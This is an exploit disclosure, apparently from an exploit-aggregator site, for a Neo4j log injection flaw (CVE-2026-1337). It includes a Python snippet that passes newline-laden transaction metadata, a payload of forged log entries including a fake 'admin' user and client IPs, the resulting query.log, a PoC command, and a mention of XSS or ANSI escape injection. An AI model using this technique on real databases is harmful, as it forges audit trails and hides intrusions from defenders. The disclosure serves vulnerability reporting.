Share
## https://sploitus.com/exploit?id=8F5BBAB6-3C5C-5A3C-ADE5-5A2F724D1540
# CVE-2026-1337 - Neo4j - Log Injection
Log injection by an authenticated user is possible in the Neo4j `query.log` when Neo4j is *not* configured to be in json format.
## Summary
Neo4j does not escape control characters in the metadata field when of a bolt transaction. An autenticated user could send control characters in order to inject fake log entires by injecting new lines, \n.
In the attached POC code these queries are added to the query.log in a way that they both look legit but only the first one is. There are some other, badly formatted, artifacts in the logs as well due to the injection.
`MATCH (n:RealQuery) RETURN n LIMIT 1`
`MATCH (n:FakeQuery1) RETURN n LIMIT 1`
^ the second one is injected, it is never executed
Essentially this:
```python
with driver.session() as session:
tx = session.begin_transaction(metadata={"x": payload})
tx.run("RETURN 1")
tx.commit()
```
where payload is something like
```
'\n
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
```
produces this `query.log`:
```
2025-12-05 13:08:34.585+0000 INFO Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
```
# POC
`python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123`
This will inject fake log entries into the query.log.
The lack of escaping could also be abused to inject e.g XSS payloads (a risk for web based log analysis applications) or ANSI escape characters (a risk for terminal based log interaction).